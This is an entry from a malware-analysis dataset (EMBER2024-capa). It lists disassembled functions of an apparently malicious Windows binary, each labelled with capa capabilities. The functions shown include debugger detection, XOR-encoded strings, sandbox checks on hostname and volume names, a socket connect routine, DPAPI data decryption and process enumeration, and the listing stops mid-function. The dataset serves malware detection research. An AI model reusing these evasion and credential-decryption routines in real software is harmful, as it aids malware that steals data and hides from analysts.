joyce8/EMBER2024-capa huggingface dataset:
Function at 0x4147c0
Capabilities:
Check for peb beingdebugged flag

Disassembly:
push ebp
mov ebp, esp
push ecx
mov eax, dword fs:[0x30]
push ebx
mov al, byte [eax + 2]
test al, al
setne bl
call dword [sym.imp.KERNEL32.dll_IsDebuggerPresent]
test eax, eax
movzx ecx, bl
mov edx, 1
cmovne ecx, edx
pushfd
pop eax
mov dword [ebp - 4], eax
test dword [ebp - 4], 0x100
movzx eax, cl
cmovne eax, edx
pop ebx
mov esp, ebp
pop ebp
ret

Function at 0x414800
Capabilities:
Encode data using xor
Get hostname
Get session user name
Terminate process

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x218
push 0x100
lea eax, [ebp - 0x118]
mov dword [ebp - 0x10], 0x100
push 0
push eax
mov dword [ebp - 0x14], 0x100
call fcn.004de6d0
add esp, 0xc
lea eax, [ebp - 0x10]
push eax
lea eax, [ebp - 0x118]
push eax
call dword [sym.imp.ADVAPI32.dll_GetUserNameA]
push 0x100
lea eax, [ebp - 0x218]
push 0
push eax
call fcn.004de6d0
add esp, 0xc
lea eax, [ebp - 0x14]
push eax
lea eax, [ebp - 0x218]
push eax
call dword [sym.imp.KERNEL32.dll_GetComputerNameA]
mov dword [ebp - 9], 0x60f092f
xor ecx, ecx
mov dword [ebp - 5], 0xe052d
mov byte [ebp - 1], 1
nop dword [eax]
lea eax, [ecx + 0x65]
xor byte [ebp + ecx - 9], al
inc ecx
cmp ecx, 7
jb 0x414880
lea eax, [ebp - 9]
mov byte [ebp - 1], 0
push eax
lea eax, [ebp - 0x118]
push eax
call fcn.004ddd40
add esp, 8
test eax, eax
jne 0x4148e6
mov dword [ebp - 8], 0x512b272d
xor ecx, ecx
mov dword [ebp - 4], 0x100223d
lea eax, [ecx + 0x65]
xor byte [ebp + ecx - 8], al
inc ecx
cmp ecx, 6
jb 0x4148b8
lea eax, [ebp - 8]
mov byte [ebp - 1], 0
push eax
lea eax, [ebp - 0x218]
push eax
call fcn.004ddd40
add esp, 8
test eax, eax
jne 0x4148e6
xor al, al
mov esp, ebp
pop ebp
ret
push 0
call dword [sym.imp.KERNEL32.dll_GetCurrentProcess]
push eax
call dword [sym.imp.KERNEL32.dll_TerminateProcess]
mov al, 1
mov esp, ebp
pop ebp
ret

Function at 0x414940
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x10
push ebx
push esi
push edi
mov eax, 1
lea edi, [ebp - 0x10]
xor ecx, ecx
xorps xmm0, xmm0
push ebx
cpuid
mov esi, ebx
movups xmmword [ebp - 0x10], xmm0
pop ebx
mov dword [edi], eax
mov dword [edi + 4], esi
mov dword [edi + 8], ecx
mov dword [edi + 0xc], edx
mov ebx, dword [ebp - 8]
shr ebx, 0x1f
and bl, 1
mov dword [ebp - 0xe], 0x615030e
mov dword [ebp - 0xa], 0x5e58060c
xor eax, eax
mov dword [ebp - 6], 0x1c030a43
mov word [ebp - 2], 0x100
lea ecx, [eax + 0x65]
xor byte [ebp + eax - 0xe], cl
inc eax
cmp eax, 0xc
jb 0x414991
lea eax, [ebp - 0xe]
mov byte [ebp - 1], 0
push eax
call dword [sym.imp.KERNEL32.dll_GetModuleHandleA]
test eax, eax
movzx ecx, bl
mov eax, 1
pop edi
cmove ecx, eax
pop esi
mov al, cl
pop ebx
mov esp, ebp
pop ebp
ret
Function at 0x414c00
Capabilities:
Encode data using xor

Disassembly:
push esi
mov esi, ecx
cmp byte [esi + 0x29], 0
je 0x414c22
xor eax, eax
nop dword [eax + eax]
lea edx, [eax + esi]
lea ecx, [eax + 0x65]
inc eax
xor byte [edx], cl
cmp eax, 0x28
jb 0x414c10
mov byte [esi + 0x29], 0
mov eax, esi
pop esi
ret

Function at 0x414c30
Capabilities:
Encode data using xor
Get disk information

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x22c
push ebx
xor bl, bl
call dword [sym.imp.KERNEL32.dll_IsDebuggerPresent]
test eax, eax
jne 0x414c52
push 0x15
call dword [sym.imp.KERNEL32.dll_IsProcessorFeaturePresent]
test eax, eax
je 0x414c54
mov bl, 1
mov dword [ebp - 5], 0x3b5c26
xor ecx, ecx
mov byte [ebp - 1], 1
lea eax, [ecx + 0x65]
xor byte [ebp + ecx - 5], al
inc ecx
cmp ecx, 3
jb 0x414c61
push 0x105
lea eax, [ebp - 0x120]
mov byte [ebp - 1], 0
push eax
lea eax, [ebp - 0x10]
push eax
lea eax, [ebp - 0x14]
push eax
lea eax, [ebp - 0x18]
push eax
push 0x105
lea eax, [ebp - 0x228]
push eax
lea eax, [ebp - 5]
push eax
call dword [sym.imp.KERNEL32.dll_GetVolumeInformationA]
test eax, eax
je 0x414dd0
mov dword [ebp - 9], 0x10082433
xor ecx, ecx
mov dword [ebp - 5], 0x1d182d
mov byte [ebp - 1], 1
nop dword [eax]
lea eax, [ecx + 0x65]
xor byte [ebp + ecx - 9], al
inc ecx
cmp ecx, 7
jb 0x414cc0
mov byte [ebp - 1], 0
lea ecx, [ebp - 9]
lea eax, [ebp - 0x120]
nop word [eax + eax]
mov dl, byte [eax]
cmp dl, byte [ecx]
jne 0x414d00
test dl, dl
je 0x414cfc
mov dl, byte [eax + 1]
cmp dl, byte [ecx + 1]
jne 0x414d00
add eax, 2
add ecx, 2
test dl, dl
jne 0x414ce0
xor eax, eax
jmp 0x414d05
sbb eax, eax
or eax, 1
test eax, eax
je 0x414dc9
mov dword [ebp - 8], 0x10082433
xor ecx, ecx
mov dword [ebp - 4], 0x1002c3a
nop dword [eax]
lea eax, [ecx + 0x65]
xor byte [ebp + ecx - 8], al
inc ecx
cmp ecx, 6
jb 0x414d20
mov byte [ebp - 1], 0
lea ecx, [ebp - 8]
lea eax, [ebp - 0x120]
nop word [eax + eax]
mov dl, byte [eax]
cmp dl, byte [ecx]
jne 0x414d60
test dl, dl
je 0x414d5c
mov dl, byte [eax + 1]
cmp dl, byte [ecx + 1]
jne 0x414d60
add eax, 2
add ecx, 2
test dl, dl
jne 0x414d40
xor eax, eax
jmp 0x414d65
sbb eax, eax
or eax, 1
test eax, eax
je 0x414dc9
mov dword [ebp - 0xb], 0x10082433
xor ecx, ecx
mov dword [ebp - 7], 0x1f0e1f2e
mov word [ebp - 3], 0x19
mov byte [ebp - 1], 1
lea eax, [ecx + 0x65]
xor byte [ebp + ecx - 0xb], al
inc ecx
cmp ecx, 9
jb 0x414d83
mov byte [ebp - 1], 0
lea ecx, [ebp - 0xb]
lea eax, [ebp - 0x120]
nop dword [eax]
mov dl, byte [eax]
cmp dl, byte [ecx]
jne 0x414dc0
test dl, dl
je 0x414dbc
mov dl, byte [eax + 1]
cmp dl, byte [ecx + 1]
jne 0x414dc0
add eax, 2
add ecx, 2
test dl, dl
jne 0x414da0
xor eax, eax
jmp 0x414dc5
sbb eax, eax
or eax, 1
test eax, eax
jne 0x414dd0
mov al, 1
pop ebx
mov esp, ebp
pop ebp
ret
mov al, bl
pop ebx
mov esp, ebp
pop ebp
ret
Function at 0x415be0
Capabilities:
Encode data using xor

Disassembly:
push esi
mov esi, ecx
cmp byte [esi + 0x2b], 0
je 0x415c02
xor eax, eax
nop dword [eax + eax]
lea edx, [eax + esi]
lea ecx, [eax + 0x65]
inc eax
xor byte [edx], cl
cmp eax, 0x2a
jb 0x415bf0
mov byte [esi + 0x2b], 0
mov eax, esi
pop esi
ret

Function at 0x415c10
Capabilities:
Encode data using xor

Disassembly:
push esi
mov esi, ecx
cmp byte [esi + 0x1a], 0
je 0x415c32
xor eax, eax
nop dword [eax + eax]
lea edx, [eax + esi]
lea ecx, [eax + 0x65]
inc eax
xor byte [edx], cl
cmp eax, 0x19
jb 0x415c20
mov byte [esi + 0x1a], 0
mov eax, esi
pop esi
ret

Function at 0x415c80
Capabilities:
Check if file exists
Create directory
Get file attributes

Disassembly:
push ebx
mov ebx, esp
sub esp, 8
and esp, 0xfffffff8
add esp, 4
push ebp
mov ebp, dword [ebx + 4]
mov dword [esp + 4], ebp
mov ebp, esp
mov eax, dword fs:[0]
push 0xffffffffffffffff
push 0x5037ab
push eax
mov dword fs:[0], esp
mov eax, dword [0x536614]
push ebx
sub esp, 0x20
push esi
mov esi, ecx
push edi
test al, 1
jne 0x415d08
or eax, 1
mov dword [0x536614], eax
xorps xmm0, xmm0
mov dword [0x53662c], 2
movups xmmword [0x53661c], xmm0
mov eax, 0x2f5c
mov dword [0x536630], 0xf
push 0x50adb0
mov word [0x53661c], ax
mov byte [0x53661e], 0
call fcn.004dc6dc
add esp, 4
mov dword [ebp - 4], 0xffffffff
cmp dword [esi + 0x14], 0x10
mov eax, esi
jb 0x415d12
mov eax, dword [esi]
push eax
call dword [sym.imp.KERNEL32.dll_GetFileAttributesA]
cmp eax, 0xffffffff
jne 0x415def
cmp dword [0x536630], 0x10
mov eax, 0x53661c
mov edi, dword [esi + 0x10]
mov ecx, esi
cmovae eax, dword [0x53661c]
cmp dword [esi + 0x14], 0x10
jb 0x415d42
mov ecx, dword [esi]
push dword [0x53662c]
mov edx, edi
push eax
push ecx
call fcn.0046ab10
add esp, 0xc
cmp eax, 0xffffffff
je 0x415dc6
cmp edi, eax
mov dword [ebp - 0x1c], 0
xorps xmm0, xmm0
mov dword [ebp - 0x18], 0
cmovb eax, edi
mov ecx, esi
cmp dword [esi + 0x14], 0x10
movups xmmword [ebp - 0x2c], xmm0
jb 0x415d7d
mov ecx, dword [esi]
push eax
push ecx
lea ecx, [ebp - 0x2c]
call fcn.00402810
lea ecx, [ebp - 0x2c]
mov dword [ebp - 4], 1
call fcn.00415c80
mov ecx, dword [ebp - 0x18]
cmp ecx, 0x10
jb 0x415dc6
mov edx, dword [ebp - 0x2c]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x415dbc
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x415e04
push ecx
push edx
call fcn.004dc6f1
add esp, 8
cmp dword [esi + 0x14], 0x10
jb 0x415dce
mov esi, dword [esi]
push 0
push esi
call dword [sym.imp.KERNEL32.dll_CreateDirectoryA]
test eax, eax
setne al
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop edi
pop esi
mov esp, ebp
pop ebp
mov esp, ebx
pop ebx
ret
mov ecx, dword [ebp - 0xc]
mov al, 1
pop edi
mov dword fs:[0], ecx
pop esi
mov esp, ebp
pop ebp
mov esp, ebx
pop ebx
ret
call fcn.004e1990
int3
Function at 0x416060
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x234
push ebx
push esi
push edi
push 0x200
lea eax, [ebp - 0x230]
push 0
push eax
call fcn.004de6d0
add esp, 0xc
lea eax, [ebp - 0x230]
push 0x200
push eax
push 0
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
xorps xmm0, xmm0
mov dword [ebp - 0x18], 0
lea ecx, [ebp - 0x230]
mov dword [ebp - 0x14], 0
movups xmmword [ebp - 0x28], xmm0
lea edx, [ecx + 1]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x4160b4
sub ecx, edx
lea eax, [ebp - 0x230]
push ecx
push eax
lea ecx, [ebp - 0x28]
call fcn.00402810
mov dword [ebp - 0xd], 0x9000329
xor ecx, ecx
mov dword [ebp - 9], 0xe2205
mov dword [ebp - 5], 0x1d0b1d
mov byte [ebp - 1], 1
lea eax, [ecx + 0x65]
xor byte [ebp + ecx - 0xd], al
inc ecx
cmp ecx, 0xb
jb 0x4160e8
lea edx, [ebp - 0xd]
mov byte [ebp - 1], 0
lea ecx, [edx + 1]
nop
mov al, byte [edx]
inc edx
test al, al
jne 0x416100
mov ebx, dword [ebp - 0x14]
lea eax, [ebp - 0xd]
mov edi, dword [ebp - 0x28]
sub edx, ecx
mov esi, dword [ebp - 0x18]
lea ecx, [ebp - 0x28]
push edx
cmp ebx, 0x10
mov edx, esi
push eax
cmovae ecx, edi
push 0
call fcn.0046aba0
add esp, 0xc
cmp eax, 0xffffffff
jne 0x4161fd
mov dword [ebp - 0xe], 0x1a02162a
xor ecx, ecx
mov dword [ebp - 0xa], 0x2042908
mov dword [ebp - 6], 0x40c0b03
mov word [ebp - 2], 0x100
lea eax, [ecx + 0x65]
xor byte [ebp + ecx - 0xe], al
inc ecx
cmp ecx, 0xc
jb 0x416152
lea edx, [ebp - 0xe]
mov byte [ebp - 1], 0
lea ecx, [edx + 1]
nop dword [eax]
mov al, byte [edx]
inc edx
test al, al
jne 0x416170
sub edx, ecx
lea eax, [ebp - 0xe]
push edx
cmp ebx, 0x10
lea ecx, [ebp - 0x28]
push eax
cmovae ecx, edi
mov edx, esi
push 0
call fcn.0046aba0
add esp, 0xc
cmp eax, 0xffffffff
jne 0x4161fd
mov dword [ebp - 0xb], 0x1832232c
xor ecx, ecx
mov dword [ebp - 7], 0x91f0b0d
mov word [ebp - 3], 0x1f
mov byte [ebp - 1], 1
lea eax, [ecx + 0x65]
xor byte [ebp + ecx - 0xb], al
inc ecx
cmp ecx, 9
jb 0x4161b2
lea esi, [ebp - 0xb]
mov byte [ebp - 1], 0
lea ecx, [esi + 1]
nop dword [eax]
mov al, byte [esi]
inc esi
test al, al
jne 0x4161d0
mov edx, dword [ebp - 0x18]
lea eax, [ebp - 0xb]
sub esi, ecx
cmp ebx, 0x10
push esi
push eax
lea ecx, [ebp - 0x28]
cmovae ecx, edi
push 0
call fcn.0046aba0
add esp, 0xc
cmp eax, 0xffffffff
jne 0x4161fd
xor bl, bl
jmp 0x4161ff
mov bl, 1
mov ecx, dword [ebp - 0x14]
cmp ecx, 0x10
jb 0x41622c
inc ecx
mov eax, edi
cmp ecx, 0x1000
jb 0x416222
mov edi, dword [eax - 4]
add ecx, 0x23
sub eax, edi
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x416235
push ecx
push edi
call fcn.004dc6f1
add esp, 8
pop edi
pop esi
mov al, bl
pop ebx
mov esp, ebp
pop ebp
ret
call fcn.004e1990
int3
Function at 0x417d60
Capabilities:
Encode data using xor

Disassembly:
push esi
mov esi, ecx
cmp byte [esi + 0x2e], 0
je 0x417d82
xor eax, eax
nop dword [eax + eax]
lea edx, [eax + esi]
lea ecx, [eax + 0x65]
inc eax
xor byte [edx], cl
cmp eax, 0x2d
jb 0x417d70
mov byte [esi + 0x2e], 0
mov eax, esi
pop esi
ret
Function at 0x41d5f0
Capabilities:
Encode data using xor

Disassembly:
push esi
mov esi, ecx
cmp byte [esi + 0x17], 0
je 0x41d612
xor eax, eax
nop dword [eax + eax]
lea edx, [eax + esi]
lea ecx, [eax + 0x65]
inc eax
xor byte [edx], cl
cmp eax, 0x16
jb 0x41d600
mov byte [esi + 0x17], 0
mov eax, esi
pop esi
ret

Function at 0x41d620
Capabilities:
Encode data using xor

Disassembly:
push esi
mov esi, ecx
cmp byte [esi + 0x23], 0
je 0x41d642
xor eax, eax
nop dword [eax + eax]
lea edx, [eax + esi]
lea ecx, [eax + 0x65]
inc eax
xor byte [edx], cl
cmp eax, 0x22
jb 0x41d630
mov byte [esi + 0x23], 0
mov eax, esi
pop esi
ret

Function at 0x41d6e0
Capabilities:
Connect socket
Initialize winsock library
Resolve dns

Disassembly:
push ebp
mov ebp, esp
and esp, 0xfffffff8
sub esp, 0x1bc
push ebx
push esi
push edi
lea eax, [esp + 0x38]
mov dword [esp + 0x14], ecx
push eax
push 0x202
mov ebx, edx
mov dword [esp + 0x14], 0
or edi, 0xffffffff
call dword [sym.imp.WS2_32.dll_WSAStartup]
test eax, eax
jne 0x41d7e6
push eax
push 0x13f54
call fcn.00407d20
push 0
push 0x14043
movzx eax, byte [eax + 0x535eb0]
cdq
mov esi, eax
mov dword [esp + 0x20], edx
call fcn.00407d20
add esp, 0x10
cmp esi, eax
jne 0x41d74e
cmp dword [esp + 0x10], edx
je 0x41d7e6
lea eax, [esp + 0xc]
mov dword [esp + 0x18], 0
push eax
lea eax, [esp + 0x1c]
mov dword [esp + 0x20], 0
push eax
push ebx
push dword [esp + 0x20]
xorps xmm0, xmm0
mov dword [esp + 0x30], 1
movlpd qword [esp + 0x38], xmm0
movlpd qword [esp + 0x40], xmm0
mov dword [esp + 0x34], 6
call dword [sym.imp.WS2_32.dll_getaddrinfo]
test eax, eax
jne 0x41d7e0
mov esi, dword [esp + 0xc]
test esi, esi
je 0x41d7f4
mov ebx, dword [sym.imp.WS2_32.dll_closesocket]
push dword [esi + 0xc]
push dword [esi + 8]
push dword [esi + 4]
call dword [sym.imp.WS2_32.dll_socket]
mov edi, eax
cmp edi, 0xffffffff
je 0x41d7e0
push dword [esi + 0x10]
push dword [esi + 0x18]
push edi
call dword [sym.imp.WS2_32.dll_connect]
cmp eax, 0xffffffff
jne 0x41d7f0
push edi
call ebx
mov esi, dword [esi + 0x1c]
test esi, esi
jne 0x41d7a4
push dword [esp + 0xc]
call dword [sym.imp.WS2_32.dll_freeaddrinfo]
call dword [sym.imp.WS2_32.dll_WSACleanup]
or eax, 0xffffffff
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
mov esi, dword [esp + 0xc]
push esi
call dword [sym.imp.WS2_32.dll_freeaddrinfo]
cmp edi, 0xffffffff
je 0x41d7e0
mov eax, edi
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
Function at 0x41ec60
Capabilities:
Encode data using xor

Disassembly:
push ebx
mov ebx, esp
sub esp, 8
and esp, 0xfffffff8
add esp, 4
push ebp
mov ebp, dword [ebx + 4]
mov dword [esp + 4], ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x503ff8
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
push ebx
sub esp, 0x24
push esi
push 0x536070
mov dword [ebp - 4], 0
call fcn.004db9f2
add esp, 4
test eax, eax
jne 0x41ee06
mov dword [ebp - 0x1c], 0x14372728
xor ecx, ecx
mov word [ebp - 0x18], 0x35
mov byte [ebp - 0x16], 1
nop
mov al, cl
add al, 0x65
xor byte [ebp + ecx - 0x1c], al
inc ecx
cmp ecx, 5
jb 0x41ecc0
lea ecx, [ebp - 0x1c]
mov byte [ebp - 0x16], 0
lea edx, [ecx + 1]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x41ecd8
sub ecx, edx
mov eax, closesocket
mov edx, dword [ebx + 0x18]
sub eax, edx
cmp eax, ecx
jb 0x41ee0c
cmp dword [ebx + 0x1c], 0x10
lea eax, [ebx + 8]
push edx
cmovae eax, dword [ebx + 8]
push eax
push ecx
lea eax, [ebp - 0x1c]
push eax
push ecx
push dword [ebp - 0x19]
lea ecx, [ebp - 0x34]
call fcn.0046cf70
mov byte [ebp - 4], 1
mov eax, dword [0x536168]
cmp eax, dword [0x53616c]
je 0x41ed45
movups xmm0, xmmword [ebp - 0x34]
mov ecx, 0xf
mov byte [ebp - 0x34], 0
movups xmmword [eax], xmm0
movq xmm0, qword [ebp - 0x24]
movq qword [eax + 0x10], xmm0
add dword [0x536168], 0x18
jmp 0x41ed57
lea ecx, [ebp - 0x34]
push ecx
push eax
mov ecx, 0x536164
call fcn.00472120
mov ecx, dword [ebp - 0x20]
mov byte [ebp - 4], 0
cmp ecx, 0x10
jb 0x41ed8c
mov edx, dword [ebp - 0x34]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x41ed82
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x41ee11
push ecx
push edx
call fcn.004dc6f1
add esp, 8
push 0x536070
call fcn.004dba03
mov esi, dword [0x533aac]
lea eax, [ebx + 8]
sub esp, 0x14
mov ecx, esp
push eax
call fcn.004655b0
mov edx, 0x2714
mov ecx, esi
call fcn.0041dbe0
mov ecx, dword [ebx + 0x1c]
add esp, 0x18
test al, al
setne al
mov byte [ebp - 0x11], al
cmp ecx, 0x10
jb 0x41edf4
mov edx, dword [ebx + 8]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x41ede7
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x41ee11
push ecx
push edx
call fcn.004dc6f1
mov al, byte [ebp - 0x11]
add esp, 8
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop esi
mov esp, ebp
pop ebp
mov esp, ebx
pop ebx
ret
push eax
call fcn.004db69b
call fcn.00402040
call fcn.004e1990
int3
Function at 0x41f9b0
Capabilities:
Encrypt data using dpapi

Disassembly:
push ebp
mov ebp, esp
and esp, 0xfffffff0
sub esp, 0x38
push esi
push edi
mov edi, dword [sym.imp.CRYPT32.dll_CryptUnprotectData]
mov esi, 0x80
mov dword [esp + 0xc], edx
mov dword [esp + 0x1c], ecx
nop
lea eax, [esp + 0x10]
mov dword [esp + 0x18], esi
push eax
push 0
push 0
push 0
push 0
push 0
lea eax, [esp + 0x30]
push eax
call edi
test eax, eax
jne 0x41f9f9
add esi, 0x10
cmp esi, 0x800
jbe 0x41f9d0
cmp esi, 0x800
jae 0x41fa1e
push 0x800
call fcn.004eb10c
mov edi, eax
add esp, 4
test edi, edi
jne 0x41fa26
push dword [esp + 0x14]
call dword [sym.imp.KERNEL32.dll_LocalFree]
xor al, al
pop edi
pop esi
mov esp, ebp
pop ebp
ret
push 0x800
push 0
push edi
call fcn.004de6d0
mov esi, dword [esp + 0x1c]
mov ecx, 0x7ff
cmp esi, 0x800
mov eax, esi
cmova eax, ecx
push eax
push dword [esp + 0x24]
push edi
call fcn.004de150
add esp, 0x18
mov dword [esp + 0x30], 0
xorps xmm0, xmm0
mov dword [esp + 0x34], 0
lea ecx, [esp + 0x20]
movaps xmmword [esp + 0x20], xmm0
push esi
push edi
call fcn.00402810
mov ecx, dword [esp + 0xc]
lea eax, [esp + 0x20]
push eax
call fcn.00465430
mov ecx, dword [esp + 0x34]
cmp ecx, 0x10
jb 0x41fab8
mov edx, dword [esp + 0x20]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x41faae
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x41fad3
push ecx
push edx
call fcn.004dc6f1
add esp, 8
push edi
call fcn.004ea9b6
add esp, 4
push dword [esp + 0x14]
call dword [sym.imp.KERNEL32.dll_LocalFree]
pop edi
mov al, 1
pop esi
mov esp, ebp
pop ebp
ret
call fcn.004e1990
int3
Function at 0x423d70
Capabilities:
Encode data using xor

Disassembly:
push esi
mov esi, ecx
cmp byte [esi + 0x21], 0
je 0x423d92
xor eax, eax
nop dword [eax + eax]
lea edx, [eax + esi]
lea ecx, [eax + 0x65]
inc eax
xor byte [edx], cl
cmp eax, 0x20
jb 0x423d80
mov byte [esi + 0x21], 0
mov eax, esi
pop esi
ret
Function at 0x427c00
Capabilities:
Encode data using xor

Disassembly:
push esi
mov esi, ecx
cmp byte [esi + 0x86], 0
je 0x427c27
xor eax, eax
nop
lea edx, [eax + esi]
lea ecx, [eax + 0x65]
inc eax
xor byte [edx], cl
cmp eax, 0x85
jb 0x427c10
mov byte [esi + 0x86], 0
mov eax, esi
pop esi
ret

Function at 0x427c30
Capabilities:
Encode data using xor

Disassembly:
push esi
mov esi, ecx
cmp byte [esi + 0x57], 0
je 0x427c52
xor eax, eax
nop dword [eax + eax]
lea edx, [eax + esi]
lea ecx, [eax + 0x65]
inc eax
xor byte [edx], cl
cmp eax, 0x56
jb 0x427c40
mov byte [esi + 0x57], 0
mov eax, esi
pop esi
ret
Function at 0x429e20
Capabilities:
Encode data using xor

Disassembly:
push esi
mov esi, ecx
cmp byte [esi + 0x66], 0
je 0x429e42
xor eax, eax
nop dword [eax + eax]
lea edx, [eax + esi]
lea ecx, [eax + 0x65]
inc eax
xor byte [edx], cl
cmp eax, 0x65
jb 0x429e30
mov byte [esi + 0x66], 0
mov eax, esi
pop esi
ret
Function at 0x436420
Capabilities:
Encode data using xor

Disassembly:
push esi
mov esi, ecx
cmp byte [esi + 0x4b], 0
je 0x436442
xor eax, eax
nop dword [eax + eax]
lea edx, [eax + esi]
lea ecx, [eax + 0x65]
inc eax
xor byte [edx], cl
cmp eax, 0x4a
jb 0x436430
mov byte [esi + 0x4b], 0
mov eax, esi
pop esi
ret
Function at 0x438b10
Capabilities:
Encode data using xor

Disassembly:
push esi
mov esi, ecx
cmp byte [esi + 0x2a], 0
je 0x438b32
xor eax, eax
nop dword [eax + eax]
lea edx, [eax + esi]
lea ecx, [eax + 0x65]
inc eax
xor byte [edx], cl
cmp eax, 0x29
jb 0x438b20
mov byte [esi + 0x2a], 0
mov eax, esi
pop esi
ret
Function at 0x43ec20
Capabilities:
Encode data using xor
Query or enumerate registry value

Disassembly:
push ebx
mov ebx, esp
sub esp, 8
and esp, 0xfffffff8
add esp, 4
push ebp
mov ebp, dword [ebx + 4]
mov dword [esp + 4], ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x50682d
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
push ebx
sub esp, 0x58
push esi
push edi
push 0xff
call fcn.004eb10c
push 0xff
mov edi, eax
push 0
push edi
call fcn.004de6d0
push 0xff
call fcn.004eb10c
push 0xff
push 0
push eax
mov dword [ebp - 0x18], eax
call fcn.004de6d0
movaps xmm0, xmmword [0x5251b0]
add esp, 0x20
movups xmmword [ebp - 0x64], xmm0
xor ecx, ecx
mov dword [ebp - 0x44], 0xd4e9e3f5
movaps xmm0, xmmword [0x526710]
movups xmmword [ebp - 0x54], xmm0
mov dword [ebp - 0x40], 0xe1e6e5ea
mov dword [ebp - 0x3c], 0xebe0ec
mov byte [ebp - 0x38], 1
lea eax, [ecx + 0x65]
xor byte [ebp + ecx - 0x64], al
inc ecx
cmp ecx, 0x2b
jb 0x43ecb8
lea eax, [ebp - 0x14]
mov byte [ebp - 0x38], 0
push eax
push 1
push 0
lea eax, [ebp - 0x64]
push eax
push connect
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
test eax, eax
jne 0x43ee20
lea eax, [ebp - 0x1c]
mov dword [ebp - 0x1c], 0xff
push eax
push edi
push 0
push 0
push 0
push dword [ebp - 0x14]
call dword [sym.imp.ADVAPI32.dll_RegQueryValueExA]
push dword [ebp - 0x14]
mov esi, eax
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
test esi, esi
jne 0x43ee20
mov ecx, edi
mov dword [ebp - 0x24], esi
xorps xmm0, xmm0
mov dword [ebp - 0x20], esi
movups xmmword [ebp - 0x34], xmm0
lea edx, [ecx + 1]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x43ed28
sub ecx, edx
push ecx
push edi
lea ecx, [ebp - 0x34]
call fcn.00402810
mov dword [ebp - 4], 0
xorps xmm0, xmm0
mov eax, dword [ebp - 0x24]
mov dword [ebp - 0x40], 0
mov dword [ebp - 0x3c], 0
movups xmmword [ebp - 0x50], xmm0
cmp eax, 1
jb 0x43ee35
lea ecx, [eax - 5]
dec eax
cmp eax, ecx
cmovb ecx, eax
cmp dword [ebp - 0x20], 0x10
lea eax, [ebp - 0x34]
cmovae eax, dword [ebp - 0x34]
push ecx
inc eax
lea ecx, [ebp - 0x50]
push eax
call fcn.00402810
cmp dword [ebp - 0x3c], 0x10
lea ecx, [ebp - 0x50]
mov esi, dword [ebp - 0x50]
mov eax, dword [ebp - 0x24]
cmovae ecx, esi
add eax, 0xffffffef
push eax
push ecx
push dword [ebp - 0x18]
call fcn.004de150
mov eax, dword [ebp - 0x3c]
add esp, 0xc
cmp eax, 0x10
jb 0x43edd1
lea ecx, [eax + 1]
mov eax, esi
cmp ecx, 0x1000
jb 0x43edc7
mov esi, dword [eax - 4]
add ecx, 0x23
sub eax, esi
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x43ee3a
push ecx
push esi
call fcn.004dc6f1
add esp, 8
push edi
call fcn.004ea9b6
mov ecx, dword [ebp - 0x20]
add esp, 4
cmp ecx, 0x10
jb 0x43ee0a
mov edx, dword [ebp - 0x34]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x43ee00
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x43ee3f
push ecx
push edx
call fcn.004dc6f1
add esp, 8
mov eax, dword [ebp - 0x18]
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop edi
pop esi
mov esp, ebp
pop ebp
mov esp, ebx
pop ebx
ret
mov ecx, dword [ebp - 0xc]
xor eax, eax
pop edi
mov dword fs:[0], ecx
pop esi
mov esp, ebp
pop ebp
mov esp, ebx
pop ebx
ret
call fcn.00468b80
call fcn.004e1990
call fcn.004e1990
int3
Function at 0x441e30
Capabilities:
Enumerate processes

Disassembly:
push ebp
mov ebp, esp
and esp, 0xfffffff8
sub esp, 0x12c
push ebx
push esi
push edi
xor ebx, ebx
mov esi, ecx
push ebx
push 2
call dword [sym.imp.KERNEL32.dll_CreateToolhelp32Snapshot]
mov edi, eax
cmp edi, 0xffffffff
je 0x441ed4
lea eax, [esp + 0x10]
mov dword [esp + 0x10], 0x128
push eax
push edi
call dword [sym.imp.KERNEL32.dll_Process32First]
test eax, eax
je 0x441ecd
nop
cmp dword [esi + 0x14], 0x10
mov eax, esi
jb 0x441e7a
mov eax, dword [esi]
lea ecx, [esp + 0x34]
nop
mov dl, byte [ecx]
cmp dl, byte [eax]
jne 0x441ea0
test dl, dl
je 0x441e9c
mov dl, byte [ecx + 1]
cmp dl, byte [eax + 1]
jne 0x441ea0
add ecx, 2
add eax, 2
test dl, dl
jne 0x441e80
xor eax, eax
jmp 0x441ea5
sbb eax, eax
or eax, 1
test eax, eax
je 0x441ec9
lea eax, [esp + 0x10]
push eax
push edi
